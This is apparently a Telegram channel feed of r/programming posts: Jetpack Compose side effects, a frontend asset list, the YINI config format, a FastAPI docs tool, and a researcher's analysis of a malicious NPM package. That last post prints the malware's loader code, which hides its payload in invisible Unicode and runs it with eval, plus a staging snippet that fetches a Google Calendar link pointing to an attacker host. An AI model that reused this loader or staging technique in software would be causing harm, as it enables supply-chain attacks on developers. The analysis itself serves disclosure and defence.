Reddit Programming
210 subscribers
1.22K photos
124K links
I will send you newest post from subreddit /r/programming
Download Telegram
Managing Side Effects in Jetpack Compose
https://www.reddit.com/r/programming/comments/1knykf6/managing_side_effects_in_jetpack_compose/

<!-- SC_OFF -->🚀 I just published a new Medium article exploring how to manage side effects in Jetpack Compose!In this article, I walk through the most commonly used side-effect APIs in Compose with clear, minimal examples to help you understand their behavior, use cases, and differences.🧠 Covered APIs:LaunchedEffect: for lifecycle-aware coroutinesrememberCoroutineScope: for manually controlled coroutine launchesDisposableEffect: for cleanup and resource disposalSideEffect: for one-off actions after every successful recompositionrememberUpdatedState: for capturing the latest values in long-lived side effects🎯 If you're building declarative UIs and want to avoid common pitfalls when dealing with side effects, this article is for you. <!-- SC_ON --> submitted by /u/CenkAyd1 (https://www.reddit.com/user/CenkAyd1)
[link] (https://medium.com/@cenkeraydin14/managing-side-effects-in-jetpack-compose-6adafff83b59) [comments] (https://www.reddit.com/r/programming/comments/1knykf6/managing_side_effects_in_jetpack_compose/)
Free assets collection (ressources for frontend dev and designers)
https://www.reddit.com/r/programming/comments/1knxb6f/free_assets_collection_ressources_for_frontend/

<!-- SC_OFF -->Hey, I created a small open source repo to collect free resources useful for frontend developers beginners (or more) The goal is to keep everything organized in one place Free stock image websites Background generators (blobs, gradients, SVG shapes, patterns..) Subtle textures and lightweight tools It’s especially useful for people who don’t always know where to look, or who want to discover new useful sites without relying on search engines or endless blog posts. Since it’s open source, anyone can contribute I know there are already great repos like design-resources-for-developers, but they cover a very large range This one is more focused on images stock and backgrounds, so it can go deeper into that specific area. Feel free to check it out or contribute if you have any good tools or resources to add! Would love to get your feedback or the website you use as a frontend developers (in the specific categories(backgrounds and image)) then i could contribute to the project with yours answers. <!-- SC_ON --> submitted by /u/ArrivalExtreme8729 (https://www.reddit.com/user/ArrivalExtreme8729)
[link] (http://github.com/Apouuuuuuu/frontend-assets-collection) [comments] (https://www.reddit.com/r/programming/comments/1knxb6f/free_assets_collection_ressources_for_frontend/)
YINI (lightweight, human-friendly configuration format) - # is now for Comments, ^ is the New Section Marker - Feedback Welcome!
https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/

<!-- SC_OFF -->Hey everyone 👋 Just a quick update for those following the development of YINI — a lightweight, human-friendly configuration file format inspired by INI, TOML, and YAML but with its own clean and consistent rules. After some great community feedback and real-world testing, we've made two key changes to the syntax:
- # is now strictly a comment marker
- Section headers now use ^ instead of # The full Spec can be found here on GitHub:
https://github.com/YINI-lang/YINI-spec Would love to hear what you think about these changes, any other feedback or critic? Anyway, thanks and have a good weekend! —Mr. Seppänen / YINI dev <!-- SC_ON --> submitted by /u/Effective_Tune_6830 (https://www.reddit.com/user/Effective_Tune_6830)
[link] (https://github.com/YINI-lang/YINI-spec) [comments] (https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/)
RouteSage - Auto-generate Docs for your FastAPI projects
https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/

<!-- SC_OFF -->I have just built RouteSage as one of my side project. Motivation behind building this package was due to the tiring process of manually creating documentation for FastAPI routes. So, I thought of building this and this is my first vibe-coded project. My idea is to set this as an open source project so that it can be expanded to other frameworks as well and more new features can be also added. Feel free to contribute to this project. Also this is my first open source project as a maintainer so your suggestions and tips would be much appreciated. This is my first project I’m showcasing on Reddit. Your suggestions and validations are welcomed. <!-- SC_ON --> submitted by /u/Creative-Shoulder472 (https://www.reddit.com/user/Creative-Shoulder472)
[link] (https://github.com/dijo-d/RouteSage) [comments] (https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/)
Insane malware hidden inside NPM with invisible Unicode and Google Calendar invites!
https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/

<!-- SC_OFF -->I’ve shared a lot of malware stories—some with silly hiding techniques. But this? This is hands down the most beautiful piece of obfuscation I’ve ever come across. I had to share it. I've made a video, but also below I decided to do a short write-up for those that don't want to look at my face for 6 minutes. The Discovery: A Suspicious Package We recently uncovered a malicious NPM package called os-info-checker-es6 (still live at the time of writing). It combines Unicode obfuscation, Google Calendar abuse, and clever staging logic to mask its payload. The first sign of trouble was in version 1.0.7, which contained a sketchy eval function executing a Base64-encoded payload. Here’s the snippet: const fs = require('fs'); const os = require('os'); const { decode } = require(getPath()); const decodedBytes = decode('|󠅉󠄢󠄩󠅥󠅓󠄢󠄩󠅣󠅊󠅃󠄥󠅣󠅒󠄢󠅓󠅟󠄺󠄠󠄾󠅟󠅊󠅇󠄾󠅢󠄺󠅩󠅛󠄧󠄳󠅗󠄭󠄭'); const decodedBuffer = Buffer.from(decodedBytes); const decodedString = decodedBuffer.toString('utf-8'); eval(atob(decodedString)); fs.writeFileSync('run.txt', atob(decodedString)); function getPath() { if (os.platform() === 'win32') { return `./src/index_${os.platform()}_${os.arch()}.node`; } else { return `./src/index_${os.platform()}.node`; } } At first glance, it looked like it was just decoding a single character—the |. But something didn’t add up. Unicode Sorcery What was really going on? The string was filled with invisible Unicode Private Use Area (PUA) characters. When opened in a Unicode-aware text editor, the decode line actually looked something like this: const decodedBytes = decode('|󠅉...󠄭[X][X][X][X]...'); Those [X] placeholders? They're PUA characters defined within the package itself, rendering them invisible to the eye but fully functional in code. And what did this hidden payload deliver? console.log('Check'); Yep. That’s it. A total anticlimax. But we knew something more was brewing. So we waited. Two Months Later… Version 1.0.8 dropped. Same Unicode trick—but a much longer payload. This time, it wasn’t just logging to the console. One particularly interesting snippet fetched data from a Base64-encoded URL: const mygofvzqxk = async () => { await krswqebjtt( atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), async (err, link) => { if (err) { console.log('cjnilxo'); await new Promise(r => setTimeout(r, 1000)); return mygofvzqxk(); } } ); }; Once decoded, the string revealed: https://calendar.app.google/t56nfUUcugH9ZUkx9 Yes, a Google Calendar link—safe to visit. The event title itself was another Base64-encoded URL leading to the final payload location: http://140[.]82.54.223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D (DO NOT visit that second one.) The Puzzle Comes Together At this final endpoint was the malicious payload—but by the time we got to it, the URL was dormant. Most likely, the attackers were still preparing the final stage. At this point, we started noticing the package being included in dependencies for other projects. That was a red flag—we couldn’t afford to wait any longer. It was time to report and get it taken down. This was one of the most fascinating and creative obfuscation techniques I’ve seen: Absolute A+ for stealth, even if the end result wasn’t world-ending malware (yet). So much fun Also a more detailed article is here -> https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas NPM package link -> https://www.npmjs.com/package/os-info-checker-es6 <!-- SC_ON --> submitted by /u/Advocatemack (https://www.reddit.com/user/Advocatemack)
[link] (https://www.youtube.com/watch?v=N8dHa2b-I5A) [comments] (https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/)